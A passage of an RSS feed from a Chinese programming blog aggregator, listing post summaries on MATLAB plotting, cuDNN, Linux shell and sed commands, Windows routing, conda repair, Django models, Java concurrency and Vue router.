      <description>matlab线条加粗是为了图像显示的更加清晰。我们一般会把所画的图像，插入到latex中或者word中。有些时候如果图像线条不加粗，会造成显示不清晰，下面介绍下加粗的具体方。&#xA;命令加粗 x=0:0.1:8*pi; y=sin(x); plot(x,y,&#39;LineWidth&#39;,5) 这里plot(x,y,&#39;LineWidth&#39;,5) 中的5表示：设置线条宽度为5，也可以设置成其他数字或者小数。&#xA;也可以直接在图片上修改，图像处于编辑模式，然后左键单击选中所画的曲线，然后右键，找到linewith，修改参数&#xA;如果需要更改颜色或者加上标记也是可以添加的，&#xA;也可以通过：file--》export setup 这里来修改，也即是修改图片输出的参数&#xA;设置好合适的参数之后，点击右侧的应用于图片&#xA;参考 MATLAB修饰线条 - 云+社区 - 腾讯云</description>
    </item>
    <item>
      <title>深度神经网络加速库cuDNN简介</title>
      <link>https://bchobby.github.io/posts/04092daa111b6e1840fa53a8b3ac3db2/</link>
      <pubDate>Tue, 31 May 2022 12:00:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/04092daa111b6e1840fa53a8b3ac3db2/</guid>
      <description>深度神经网络加速库cuDNN简介 简介 NVIDIA® CUDA深度神经网络库 (cuDNN: CUDA Deep Neural Network ) 是用于深度神经网络的 GPU 加速基元库。它提供了 DNN 应用程序中经常出现的例程的高度调整实现：&#xA;Convolution forward and backward, including cross-correlationMatrix multiplicationPooling forward and backwardSoftmax forward and backwardNeuron activations forward and backward: relu, tanh, sigmoid, elu, gelu, softplus, swishArithmetic, mathematical, relational and logical pointwise operationsTensor transformation functionsLRN, LCN and batch normalization forward and backward cuDNN 卷积示例旨在实现与此类示例的最快的基于 GEMM（矩阵乘法）的实现具有竞争力的性能，同时使用显着更少的内存。&#xA;cuDNN 功能包括可定制的数据布局，支持灵活的维度排序、跨步以及用作其所有例程的输入和输出的 4D 张量的子区域。这种灵活性允许轻松集成到任何神经网络实现中，并避免了基于 GEMM 的卷积有时需要的输入/输出转置步骤。&#xA;cuDNN 提供了一个基于上下文的 API，可以轻松实现多线程和（可选）与 NVIDIA® CUDA® 流的互操作性。</description>
    </item>
    <item>
      <title>Echarts社区地址</title>
      <link>https://bchobby.github.io/posts/786c1ab602cea6859a65e5b7de39bbc5/</link>
      <pubDate>Tue, 31 May 2022 11:13:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/786c1ab602cea6859a65e5b7de39bbc5/</guid>
      <description>Echarts社区已停止运营，下面存在开源网站&#xA;第一个：www.isqqw.com/#/homepage，多个分类， 可在线调试和切换版本。&#xA;第二个：http://www.ppchart.com 多个分类，可在线调试。&#xA;新增一个网址，跟之前开源社区网址很像，但是不确定是否是同一个，功能很全：www.makeapie.cn/echarts&#xA;官方最初版本，已停止运营 ：https://gallery.echartsjs.com&#xA;百度收购后的开放社区版本，已停止运营：https://www.makeapie.com/explore.html</description>
    </item>
    <item>
      <title>Ubuntu下根据.bash_history查询近期命令使用记录</title>
      <link>https://bchobby.github.io/posts/5b65c28904f4fe845d7e866326c67e98/</link>
      <pubDate>Tue, 31 May 2022 09:55:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5b65c28904f4fe845d7e866326c67e98/</guid>
      <description>在Ubuntu系统中，每个用户执行过的命令会保存在.bash_history文件中。该文件会保存用户近期使用过的几百条命令，通过cat命令可以直接查看。&#xA;cat /home/username/.bash_history 实际使用时，上面的username替换成对应的用户名即可。&#xA;此外，还可以通过history命令来查看。&#xA;history 相比于直接cat历史文件，history命令的好处是打印输出会加上行号，看起来更清晰。</description>
    </item>
    <item>
      <title>在循环中循环退出的条件有三种情况</title>
      <link>https://bchobby.github.io/posts/78d8c6dbd7e85b8d9ef9509729225c34/</link>
      <pubDate>Tue, 31 May 2022 09:29:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/78d8c6dbd7e85b8d9ef9509729225c34/</guid>
      <description>1、就是循环条件，当循环条件返回的值是一个false的时候，循环自动结束。&#xA;2、就是在循环中如果遇见break的执行，自动跳出循环结构。&#xA;3、就是在循环中遇见的是continue的时候，循环也会跳出，但是跳出的是当下的这次循环，循环跳出这次循环以后会继续进行下面的循环。</description>
    </item>
    <item>
      <title>左神数据结构与算法笔记-----图算法</title>
      <link>https://bchobby.github.io/posts/48a11be53a0ccb0a2ea865cd5958c1e1/</link>
      <pubDate>Mon, 30 May 2022 20:30:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/48a11be53a0ccb0a2ea865cd5958c1e1/</guid>
      <description>目录 一、图的定义二、图的存储方式1、邻接表2、邻接矩阵3、其他自己熟悉的方式 三、图的遍历1、广度优先遍历2、深度优先遍历 四、图的拓扑排序五、最小生成树1、概念2、kruskal算法3、prim算法 六、最短路径1、BFS求最短路径2、Dijkstra算法求单源最短路径3、Floyd算法求各定点之间的最短路径4、三种最短路径算法比较 一、图的定义 定义：图是由一组顶点和一组能够将两个顶点相连的边组成的。&#xA;二、图的存储方式 假设有这样一张图&#xA;1、邻接表 表示从该点出发能到达的直接邻居列表&#xA;2、邻接矩阵 表示每个点之间的关系（∞为无法直接到达的点）&#xA;3、其他自己熟悉的方式 如通过边与点的对象存储：(出发点,终点,边的权值)&#xA;三、图的遍历 1、广度优先遍历 利用队列实现从源节点开始依次按照宽度进队列，然后弹出每弹出一个点，把该节点所有没有进过队列的邻接点放入队列直到队列变空 //从Node出发，进行广度优先遍历 public class BFSTest { //从Node出发，进行广度优先遍历 public static void bfs(Node node) { if(node==null) { return; } Queue&amp;lt;Node&amp;gt; queue=new LinkedList&amp;lt;&amp;gt;(); HashSet&amp;lt;Node&amp;gt; set=new HashSet&amp;lt;&amp;gt;();&#x9;//记录已经访问过的节点，避免出现重复访问 queue.add(node); set.add(node); while(!queue.isEmpty()) { Node cur=queue.poll(); System.out.println(cur.value); for(Node next:cur.nexts) {&#x9;//遍历当前节点能直接到达的节点 if(!set.contains(next)) { set.add(next); queue.add(next); } } } } } 2、深度优先遍历 利用栈实现从源节点开始把节点按照深度放入栈，然后弹出没弹出一个点，把该节点下一个没有进过栈的邻接点发放入栈直到栈变空 public class DFSTest { public static void dfs(Node node) { if(node==null) { return; } Stack&amp;lt;Node&amp;gt; stack=new Stack&amp;lt;&amp;gt;(); HashSet&amp;lt;Node&amp;gt; set=new HashSet&amp;lt;&amp;gt;(); stack.</description>
    </item>
    <item>
      <title>一分钟看懂IDEA中的GIT LOG视图</title>
      <link>https://bchobby.github.io/posts/cb3e2d3fcb15219127ac7d1b8ae8fa2e/</link>
      <pubDate>Mon, 30 May 2022 19:23:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cb3e2d3fcb15219127ac7d1b8ae8fa2e/</guid>
      <description> 文章目录 一分钟看懂IDEA中的GIT LOG视图引言：分支信息：提交历史：提交信息： 一分钟看懂IDEA中的GIT LOG视图 引言： ​ 在日常工作中，我们通常用IDEA作为开发工具进行编码，在其中众多的插件中，GIT可以说是经常用得到，下面我们花大概一分钟时间了解下，GIT中Log视图的强大的内容。&#xA;​ 在IDEA中的默认配置情况下，GIT的LOG视图在IDEA中的左下角，GIT的Log视图包含三部分内容，最左侧的分支信息视图，中间的提交历史和最右侧的提交信息视图。&#xA;分支信息： HEAD：表示当前工作区所指向的提交，通常与分支指针保持一致。Local: 表示本地仓库中分支列表，其实就是本地的分支的指针，叫本地是因为在本地的仓库中才会有这个指针。Remote: 表示远程仓库分支信息，实际是各个跟踪分支的信息，默认按照 ‘origin/分支名称’ 来命名。 感悟：其实这些都是指向某次提交的指针，而由提交构成的树状结构始终都是一个，只是各个指针指向的提交不一样而已。&#xA;提交历史： ​ 这里通过三种不同的颜色图标，标记出了HEAD、Local、Remote所指向的提交，可以清醒的看出各个指向的前后顺序变化。&#xA;最左侧的提交视图是按照提交的时间顺序，依次按照分支从左至右排序。&#xA;​ 提交信息： ​ 这里看到具体的提交的文件内容并且可以比对前后代码的变化，下面可以看到提交的信息。&#xA;以比对前后代码的变化，下面可以看到提交的信息。&#xA;​ </description>
    </item>
    <item>
      <title>ubuntu20.04 安装nginx</title>
      <link>https://bchobby.github.io/posts/a5e6b099c3fd6357c931fe4dfa63783f/</link>
      <pubDate>Mon, 30 May 2022 17:39:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a5e6b099c3fd6357c931fe4dfa63783f/</guid>
      <description> https://kalacloud.com/blog/how-to-install-nginx-on-ubuntu-20-04/&#xA;#!/bin/bash sudo apt update sudo apt install nginx </description>
    </item>
    <item>
      <title>多态，instanceof和static关键字详解</title>
      <link>https://bchobby.github.io/posts/72bb4969a9e7f7e555b23e3b6493cf8e/</link>
      <pubDate>Mon, 30 May 2022 16:14:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/72bb4969a9e7f7e555b23e3b6493cf8e/</guid>
      <description>面向对象三大特性 1.多态 什么是多态 即同一方法可以根据发送对象的不同而采用多种不同的行为方式。一个对象的实际类型是确定的，但可以指向对象的引用的类型有很多（父类，有关系的类）好处：动态编译，类型可扩展性更强 多态存在的条件 有继承关系子类重写父类方法父类引用指向子类对象 不能重写的方法： 1.static 方法，属于类，它不属于实例：静态的方法随着类加载，不属于实例化的对象，不在堆中 2.final 常量 ，被final修饰的无法修改，属于常量池 3.private 私有方法，不能被重写 注意事项： 1.多态是方法的多态，属性没有多态性2.父类和子类，有联系才能转换，不然会异常！类型转换异常：ClassCastException3.存在条件：继承关系，方法需要重写，父类引用指向子类对象！Father f1 = new son();4.父类型的引用可以指向new出的子类型的对象，但不能调用子类中的方法，如果需要会进行强制类型转换，父类转子类后调用。5.具有继承关系的父子类，父类中的public非静态方法在子类中被重写，则用父类型的引用和子类型的引用去调用都是输出子类中重写后的方法。6.对象能执行哪些方法，主要看对象左边的类型，和右边关系不大！ 1.1 多态代码演示： package oopdemo01.demo07; public class Person { public void run(){ System.out.println(&#34;老子跑了起来&#34;); } } package oopdemo01.demo07; public class Student extends Person{ @Override //子类重写 public void run() { System.out.println(&#34;小子跑了起来&#34;); } // 子类独有的方法，父类不能调用 public void eat(){ System.out.println(&#34;吃饭&#34;); } } package oopdemo01.demo07; public class Application { public static void main(String[] args) { // 一个对象的实际类型是确定的，new出的是什么对象，就是什么对象 // 但可以指向的引用类型就不确定了,父类的引用指向子类 //new Student(); //new Person(); //student 子类能调用的方法都是自己的或继承父类的 Student s1 = new Student(); //父类可以指向子类，但是不能调用子类独有的方法 Person s2 = new Student(); Object s3 = new Student(); //对象能执行哪些方法，主要看对象左边的类型，和右边关系不大 s1.</description>
    </item>
    <item>
      <title>Ubuntu18.04笔记--移动Anaconda3文件夹后终端Conda不可用的解决方法</title>
      <link>https://bchobby.github.io/posts/7a620bd53e406aa51915f55d06aab1cd/</link>
      <pubDate>Mon, 30 May 2022 14:28:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7a620bd53e406aa51915f55d06aab1cd/</guid>
      <description>目录&#xA;1--前言&#xA;2--解决方法&#xA;3--验证&#xA;4--待解决问题&#xA;5--参考&#xA;1--前言 背景：Anaconda3原安装在/home盘，现移动至/civi盘，且原/home盘的Anaconda3文件全删除。&#xA;原路径：/home/anaconda3&#xA;现路径：/civi/anaconda3&#xA;尝试了单纯修改bashrc的内容，以及建立软连接等方法均不能很好地解决问题。&#xA;2--解决方法 ①修改bashrc的内容&#xA;sudo gedit ~/.bashrc #打开bashrc文件 ##修改路径后，执行 source ~/.bashrc ②修改Conda&#xA;cd /civi/anaconda3/bin sudo gedit conda 将 #!/home/anaconda3/bin/python 修改为 #!/civi/anaconda3/bin/python&#xA;③修改conda.sh和conda.csh&#xA;cd /civi/anaconda3/etc/profile.d sudo gedit conda.sh 将前四行的内容修改为移动后的路径，类似地修改conda.csh的内容。&#xA;修改后，执行两个文件。&#xA;bash conda.sh bash conda.csh ④修改创建的conda环境的pip和pip3&#xA;cd /civi/anaconda3/envs/mmdeploy/bin sudo gedit pip 将 #!/home/anaconda3/envs/mmdeploy/bin/python 修改为 #!/civi/anaconda3/envs/mmdeploy/bin/python&#xA;类似地，修改pip3和其它conda环境的pip和pip3.&#xA;3--验证 重新打开终端，查看虚拟环境，输入：&#xA;conda env list 如果报错，请先执行：&#xA;conda init 接着测试python，和pip list等是否正常。&#xA;4--待解决问题 虽然进行上述方法能够在终端使用conda环境，但速度比以前要慢，有时还容易卡死，目前不知道问题的缘由。&#xA;5--参考 参考方法1&#xA;6--补充问题 ①今天使用you-get库下载文件时，报错误：bash: /civi/anaconda3/bin/you-get: /root/anaconda3/bin/python: bad interpreter: No such file or directory</description>
    </item>
    <item>
      <title>keras.utils</title>
      <link>https://bchobby.github.io/posts/e7a3084e3976cc9c97a1bff6cede0da5/</link>
      <pubDate>Mon, 30 May 2022 12:58:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e7a3084e3976cc9c97a1bff6cede0da5/</guid>
      <description>参考 keras.utils - 云+社区 - 腾讯云&#xA;Keras utilities.&#xA;Classes class CustomObjectScope: Provides a scope that changes to _GLOBAL_CUSTOM_OBJECTS cannot escape.class GeneratorEnqueuer: Builds a queue out of a data generator.class HDF5Matrix: Representation of HDF5 dataset to be used instead of a Numpy array.class OrderedEnqueuer: Builds a Enqueuer from a Sequence.class Progbar: Displays a progress bar.class Sequence: Base object for fitting to a sequence of data, such as a dataset.class SequenceEnqueuer: Base class to enqueue inputs.</description>
    </item>
    <item>
      <title>keras.preprocessing.image</title>
      <link>https://bchobby.github.io/posts/a3cf8d79ac8576ee3fad92a78e8f004d/</link>
      <pubDate>Mon, 30 May 2022 12:58:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a3cf8d79ac8576ee3fad92a78e8f004d/</guid>
      <description>参考 keras.preprocessing.image - 云+社区 - 腾讯云&#xA;Set of tools for real-time data augmentation on image data.&#xA;Classes class DirectoryIterator: Iterator capable of reading images from a directory on disk.class ImageDataGenerator: Generate batches of tensor image data with real-time data augmentation.class Iterator: Base class for image data iterators.class NumpyArrayIterator: Iterator yielding data from a Numpy array. Functions apply_affine_transform(...): Applies an affine transformation specified by the parameters given.apply_brightness_shift(...): Performs a brightness shift.</description>
    </item>
    <item>
      <title>java培训动态上传jar包热部署实战分享</title>
      <link>https://bchobby.github.io/posts/d40077583b02f84489602776edaa8767/</link>
      <pubDate>Mon, 30 May 2022 11:12:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d40077583b02f84489602776edaa8767/</guid>
      <description>近期开发系统过程中遇到的一个需求，系统给定一个接口，用户可以自定义开发该接口的实现，并将实现打成jar包，上传到系统中。系统完成热部署，并切换该接口的实现。&#xA;定义简单的接口&#xA;这里以一个简单的计算器功能为例，接口定义比较简单，直接上代码。&#xA;public interface Calculator {&#xA;int calculate(int a, int b);&#xA;int add(int a, int b);&#xA;}&#xA;该接口的一个简单的实现&#xA;考虑到用户实现接口的两种方式，使用spring上下文管理的方式，或者不依赖spring管理的方式，这里称它们为注解方式和反射方式。calculate方法对应注解方式，add方法对应反射方式。计算器接口实现类的代码如下：&#xA;@Service&#xA;public class CalculatorImpl implements Calculator {&#xA;@Autowired&#xA;CalculatorCore calculatorCore;&#xA;/**&#xA;* 注解方式&#xA;*/&#xA;@Override&#xA;public int calculate(int a, int b) {&#xA;int c = calculatorCore.add(a, b);&#xA;return c;&#xA;}&#xA;/**&#xA;* 反射方式&#xA;*/&#xA;@Override&#xA;public int add(int a, int b) {&#xA;return new CalculatorCore().add(a, b);&#xA;}&#xA;}&#xA;这里注入CalculatorCore的目的是为了验证在注解模式下，系统可以完整的构造出bean的依赖体系，并注册到当前spring容器中。CalculatorCore的代码如下：</description>
    </item>
    <item>
      <title>基于VSCode和CMake进行C/C&#43;&#43;开发【理论】&#43;【实战】Linux篇 ｜第二讲：开发环境搭建</title>
      <link>https://bchobby.github.io/posts/5698a60953d5e8265a60d4a83096bb9d/</link>
      <pubDate>Mon, 30 May 2022 10:01:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5698a60953d5e8265a60d4a83096bb9d/</guid>
      <description> 第二讲：开发环境搭建 安装GCC，GDB ##安装任何软件之前，都要运行sudo apt update指令 sudo apt update #通过以下命令那装编译器和调试器 sudo apt install build -es sential gdb ##如果已经布置了docker，sudo apt update是会让当前docker停止的 安装成功的确认 ##以下命令确认每个软件是否安装成功 #如果安装成功，则显示版本号 gcc --version g++ --version gdb --version 2.2 CMake安装 ##通过以下命令安装编译器和调试器 sudo apt install cmake 安装成功确认 ##确认是否安装成功 #如果安装成功，则显示版本号 cmake --version </description>
    </item>
    <item>
      <title>import org.apache.commons.lang3.StringUtils突然报错的解决办法(内网开发)</title>
      <link>https://bchobby.github.io/posts/80e41636414a6b5080bfe6656a74e376/</link>
      <pubDate>Mon, 30 May 2022 09:44:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/80e41636414a6b5080bfe6656a74e376/</guid>
      <description>在开发代码过程中，某一天import org.apache.commons.lang.StringUtils报红。&#xA;现在解决办法如下。&#xA;首先要找到当前lang3包的位置。&#xA;然后右键项目-Project Structure-Libraries&#xA;找到当前jar包路径 导入即可&#xA;这样就解决了import org.apache.commons.lang.StringUtils报红的问题。</description>
    </item>
    <item>
      <title>当网线走内网，无线走外网可以同时使用，通过配置路由来实现</title>
      <link>https://bchobby.github.io/posts/5c30423b3365c49ed2b0cbb6f86a3998/</link>
      <pubDate>Mon, 30 May 2022 09:19:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5c30423b3365c49ed2b0cbb6f86a3998/</guid>
      <description>1.以管理员身份运行打开cmd 2.输入route print查看路由表 3.查看对应网卡 4.配置无线外网的DNS 5.添加永久路由 执行具体内网ip走对应的网卡16&#xA;指定0.0.0.0对应的网卡是9，代表所有ip走此外网网卡&#xA;route delete 0.0.0.0&#xA;route add -p 0.0.0.0 mask 0.0.0.0 192.168.1.1 if 9&#xA;此处9代表的是外网网卡，192.168.1.1是外网的默认网关&#xA;route add -p [ip] mask 255.255.255.0 192.168.1.1 if 16&#xA;此处16代表的是内网的网址，192.168.1.1代表的是内网的默认网关&#xA;解释：&#xA;route add -p 0.0.0.0 mask 0.0.0.0 192.168.1.1 if 9&#xA;add 添加&#xA;-p 永久添加路由&#xA;第一个0.0.0.0 所有ip数据包全部由192.168.1.1路径转发&#xA;第二个0.0.0.0是子网掩码&#xA;192.168.1.1 网关&#xA;9 端口号 是指定网卡用的&#xA;6.配合完的路由可以通过命令查看 cmd窗口输入route print&#xA;向下拉可以看到配置成功的&#xA;7.删除路由 不想用的时候删除路由&#xA;route delete 0.0.0.0</description>
    </item>
    <item>
      <title>sed命令使用</title>
      <link>https://bchobby.github.io/posts/a191a9ffebbc4ecd185f5934a618ef2d/</link>
      <pubDate>Sun, 29 May 2022 23:59:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a191a9ffebbc4ecd185f5934a618ef2d/</guid>
      <description>sed -n -e &#39;/python/p&#39; -e &#39;PYTHON/p&#39; sed.txt&#xA;sed -n -f edit.sed sed.txt&#xA;sed -n -r &#39;/python|PYTHON/p&#39; sed.txt&#xA;sed -i &#39;s/love/like/g&#39; sed.txt sed -n &#34;17p&#34; sed.txt&#xA;sed -n &#34;10,20p&#34; sed.txt&#xA;sed -n &#34;10,+5p&#34; sed.txt&#xA;sed -n &#34;/^root/p&#34; sed.txt&#xA;sed -n &#34;/^ftp/,/^mail/p&#34; sed.txt --打印以ftp开头的行，到以mail开头的行&#xA;sed -n &#34;4,/^mail/p&#34; sed.txt --打印从第4行开始，直到匹配到以mail开头的行结束&#xA;sed -n &#34;/root/,10p&#34; --打印匹配到root的行开始，到第10行结束 查询：&#xA;1、p ------打印&#xA;删除&#xA;2、d ------删除&#xA;sed &#39;1d&#39; passwd&#xA;sed -i &#39;1d&#39; passwd&#xA;sed -i &#39;1,3d&#39; passwd&#xA;sed -i &#39;/\/sbin\/nologin/d&#39; passwd</description>
    </item>
    <item>
      <title>安装ubuntu-20.04.1-live-server-amd64虚拟机 [转]</title>
      <link>https://bchobby.github.io/posts/3639b1a14aaa8b3c2c811527eb7e3b52/</link>
      <pubDate>Sun, 29 May 2022 22:33:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3639b1a14aaa8b3c2c811527eb7e3b52/</guid>
      <description>安装ubuntu-20.04.1-live-server-amd64虚拟机 [转] 主要参考：使用VMWare安装ubuntu-20.04.1-live-server-amd64虚拟机，并使用XShell通过root用户进行SSH远程连接 - 糖果墙 - 博客园 主机设置（后面是有NAT模式）&#xA;点击vmnet8右键-》属性进行修改 然后右键禁用vmnet8，然后再右键启用Vmware客户端的配置，编辑-&amp;gt;虚拟网络编辑器【注】 如果主机无法ping通Ubuntu虚拟机，则禁用vmnet8,然后右键启用 参考：&#xA;使用VMWare安装ubuntu-20.04.1-live-server-amd64虚拟机：使用VMWare安装ubuntu-20.04.1-live-server-amd64虚拟机，并使用XShell通过root用户进行SSH远程连接 - 糖果墙 - 博客园Ubuntu20.04开启root账户: Ubuntu20.04开启root账户_缀梦的博客-CSDN博客_ubuntu20.04开启root登录镜像源：Ubuntu20.04软件源更换 - 知乎 安装步骤：&#xA;这里光标调到第二项，把动态分配的IP改成静态的，也可以后面系统安装完了进行入系统以后再改；这里是选择后者。 这里的代理地址一定要改，后面的安装会用到网络下载一些软件的依赖。如果不改的话，后面下载就会特别慢。 到了分区的步骤了，如果大家嫌麻烦可以跟我一样选第一个，然后下面的 LVM的选项勾一下，这个LVM是磁盘扩容技术，在生产环境中可是很重要的，当一个我们部署的应用把一个硬盘写满了的时候。如果没有用这个技术的话，只能暂停服务，更改应用写的路径，或者将原数迁移到一个更大的硬盘中之后，再将更大的硬盘替换掉原来的硬盘，这个过程非常麻烦，用了LVM之后就可以对几块个硬盘挂在到应用相同的写路径下面，从而完成了动态扩容。所以推荐大家勾上。 这里无论是用户选择了自主分区还是系统默认分区都会显示一个最后的分区结果 到这一步就会弹出一个确认框，这里需要注意了，一旦点继续了就意味着不能回退了，如果前面有哪一项没有配置妥当，就只能全部重来了。 这里自己看着办吧，自己玩儿密码还是简单点好，忘了可就得不偿失，只能重装了。 这个选项必勾，是后面使用XShell或者其他工具进行SSH连接的前提。 这里可以根据需求勾选需要用到的软件，我为了系统的精简和干净就没勾。 到这里了等待一会儿就行了，网速快的话，估计分分钟就好了 出现绿色的reboot选项，说明系统就装好了，重启即可 重启之后如果进入不去系统就把光驱的连接手动断开 看 虚拟机-》可以移动设备-》CD/DVD 是否勾选，若勾选则关闭重启后，输入刚才设置的账号密码就能登录成功，就可以进入Ubuntu应用的部署了 参考：VM Ubuntu18.04 设置静态ip（NAT模式） Ubuntu-20.04-server的NAT8静态网络配置及连接互联网 ：Ubuntu-20.04-server的NAT8静态网络配置及连接互联网_柳城伤的博客-CSDN博客Ubuntu20.04 NAT 网络配置_艺俊的博客-CSDN博客_ubuntu20.04网络配置Ubuntu18 安装ubuntu-18.04.5-live-server-amd64 安装及更新介绍 - 西瓜君~ - 博客园下面是Ubuntu18的静态配置： # This is the network config written by &#39;subiquity&#39; network: version: 2 renderer: networkd ethernets: ens33: dhcp4: no addresses: - 192.</description>
    </item>
    <item>
      <title>Django-Models</title>
      <link>https://bchobby.github.io/posts/eb83e1b2f1ea2554f09f9cb3b3daa86a/</link>
      <pubDate>Sun, 29 May 2022 21:18:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eb83e1b2f1ea2554f09f9cb3b3daa86a/</guid>
      <description>Django 对各种数据库提供了很好的支持，Django为这些数据库提供了统一的调用API，可以根据不同的业务需求选择不同的数据库。 如需了解更多，请访问: https://www.emperinter.info/2022/05/29/django-models/&#xA;ORM 概述 对象-映射-模型 任务 根据对象的类型生成表结构将对象、列表的操作转换为sql语句将SQL语句查询的结果转换为对象、列表 优点 极大的减轻了开发人员的工作量，不需要面对因数据库的变更而修改代码 流程 配置数据库 在__init__.py文件中添加选定的数据库Package。 import pymysql pymysql.version_info = (2,0,3,&#34;final&#34;,0) pymysql.install_as_MySQLdb() 在settings.py文件中修改数据库配置。 DATABASES = { &#39;default&#39;: { &#39;ENGINE&#39;: &#39;django.db.backends.mysql&#39;, &#39;NAME&#39;: &#39;sunck&#39;, # 数据库名 &#39;USER&#39;: &#39;sunk&#39;, # 数据库用户名 &#39;PASSWORD&#39;: &#39;sunk&#39;, # 数据库密码 &#39;HOST&#39;: &#39;localhost&#39;, # 数据库主机 &#39;PORT&#39;: &#39;3306&#39;, # 数据库端口 } } 在models.py 添加模型类 一个模型类都在数据库中对应一张表 定义模型 模型、属性、表、字段间的关系 一个模型类在数据库中对应一张表模型类中定义的属性，对应模型对照表中的字段 定义属性 概述 Django根据属性的类型确定以下信息 当前选择的数据库支持字段的类型渲染管理表单时使用的默认html控件在管理站点最低限度的验证 Django会为表增加自动增加的主键列，每个模型只能有一个主键列，如果使用选项设置某属性为主键列后，则Django不会再生成默认的主键列。属性命名限制 不能是Python的保留关键字（遵循标识符命名规则）由于Django的查询方式，不允许使用连续的下划线 库 定义属性时，需要字段类型，字段类型被定义再django.db.modles.fields目录下，为了方便使用，被导入到django.db.modles中使用方式： 导入from django.db import models通过modles.Field创建字段类型的对象，赋值给属性 逻辑删除 对于重要数据都做逻辑删除 ，不能做物理删除,实现方法是定义isDelete属性，类型为BooleanField,默认值为False。 字段类型 字段类型说明AutoField一个根据实际ID自动增长的IntergerField，通常不指定，如果不指定一个主键字段将自动添加到模型中CharField(max_length=字符长度)字符串，默认的表单样式是TextInputTextField大文本字段，一般超过4000字节使用，默认的表单控件是textAreaIntegerField整数DecimalFiled(max_digits=None,decimal_places=None)使用Python的Decimal实例表示的十进制浮点数，max_digits表示位数总数，decimal_places表示小数点后的数字位数。[[精确的浮点运算-Decimal]]FloatField用Python的Float实例来表示的浮点数BooleanFieldtrue/false字段，此字段的默认表单控制是CheckboxInputNullBolleanField支持null、true、false三种值DateField([auto_now=False,auto_now_add=False])使用Python的Datetime.</description>
    </item>
    <item>
      <title>JAVA多线程编程之异步</title>
      <link>https://bchobby.github.io/posts/c549e6067f16b7da60cdfa2b660dbaad/</link>
      <pubDate>Sun, 29 May 2022 10:48:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c549e6067f16b7da60cdfa2b660dbaad/</guid>
      <description>日常开发中我们在一个接口中需要处理多个任务，通常都是串行的，这样导致接口的响应时间是每个任务的执行时间的总和。为了缩短响应时间，通常会使用异步处理多任务。&#xA;需求举例：查询书籍基本信息，书籍详细信息，作者信息并将结果数据返回。&#xA;假设查询书籍基本信息花费500毫秒，查询书籍详细信息花费500毫秒，查询作者信息花费500毫秒，共计1500毫秒，使用异步处理时间一般都是远小于1500毫秒的。&#xA;下面使用异步调用方式优化接口&#xA;1、异步任务类 实现 Callable 接口，用来处理带返回结果的任务。taskId 用来区别返回结果集数据&#xA;package com.example.demo.task; import java.util.concurrent.Callable; /** * 异步任务 * @param &amp;lt;T&amp;gt; */ public class AsynTaskCallable&amp;lt;T&amp;gt; implements Callable&amp;lt;T&amp;gt;{ private String taskId; private Callable&amp;lt;T&amp;gt; task; public AsynTaskCallable(String taskId, Callable&amp;lt;T&amp;gt; task) { this.taskId = taskId; this.task = task; } @Override public T call() throws Exception { T callResult = task.call(); TaskResult result = new TaskResult(); result.setTaskId(taskId); result.setData(callResult); return (T) result; } } 2、异步任务调用类 用来调用异步任务辅助类，completionService 用来指定线程池执行异步任务，tasks 为带返回结果的任务，可以实现多场景复用，减少重复编写相似的代码。</description>
    </item>
    <item>
      <title>centos开启服务器端口</title>
      <link>https://bchobby.github.io/posts/0e28b987fe46f968c5da8761606c27d1/</link>
      <pubDate>Sun, 29 May 2022 00:13:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0e28b987fe46f968c5da8761606c27d1/</guid>
      <description> centos服务器永久开启端口 1.查看防火墙状态 systemctl status firewalld.service // 查看 systemctl start firewalld // 开启 systemctl stop firewalld // 关闭 2.查看端口情况 firewall-cmd --list-all 3.打开端口 firewall-cmd --add-port=80/tcp --permanent 4.重启防火墙 sudo firewall-cmd --reload </description>
    </item>
    <item>
      <title>route和router的区别</title>
      <link>https://bchobby.github.io/posts/c1136a7b92d690ec1f9496a64a47cfb3/</link>
      <pubDate>Sat, 28 May 2022 22:59:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c1136a7b92d690ec1f9496a64a47cfb3/</guid>
      <description> 刚学 route 和 router 的时候一脸的雾水，明明相差一个字母，难道不一样吗？后来随着学习的深入，发现还真的不一样，哈哈哈，一起来看看吧！！！&#xA;router为VueRouter的实例，相当于一个全局的路由器对象，里面含有很多属性和子对象，例如history对象。经常用的跳转链接就可以用this.$router.push，和router-link跳转一样。&#xA;route相当于当前正在跳转的路由对象。每一个路由都会有一个router对象，可以从里面获取name,path,params等。&#xA;1.route 通过 $route.params 获取动态路由参数 在动态路由渲染出来的组件中，可以使用 this.$route.params 对象访问到动态匹配的参数值。this.$route 里面存放的是当前页面路由的相关信息。 2.router vue-router 提供了许多编程式导航的 API，其中最常用的导航 API 分别是： ① this.$router.push(&#39;hash 地址&#39;)  跳转到指定 hash 地址，并增加一条历史记录 ② this.$router.go(数值 n)  实现导航历史前进、后退 </description>
    </item>
    <item>
      <title>对象的封装和继承详解</title>
      <link>https://bchobby.github.io/posts/a2761a054778d219ae8b1d567ffeec29/</link>
      <pubDate>Sat, 28 May 2022 15:25:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a2761a054778d219ae8b1d567ffeec29/</guid>
